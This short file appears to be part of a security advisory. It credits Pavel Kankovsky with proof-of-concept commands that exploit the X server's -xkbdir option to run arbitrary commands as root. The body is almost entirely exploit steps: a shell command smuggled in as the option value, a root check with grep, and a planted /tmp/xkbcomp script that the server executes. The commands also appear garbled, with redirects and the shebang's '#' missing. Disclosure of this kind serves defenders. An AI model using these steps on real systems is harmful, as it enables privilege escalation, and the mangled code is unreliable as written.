calderax.txt

The following proof of concepts were provided by Pavel Kankovsky: $ Xserver -xkbdir 'id /tmp/IWASHERE;' exit X server $ grep root /tmp/IWASHERE && echo 'Gotcha!' $ cat /tmp/xkbcomp !/bin/sh id /tmp/IWASHERE ctrl+d $ chmod a+x /tmp/xkbcomp $ Xserver -xkbdir /tmp X server executes /tmp/xkbcomp...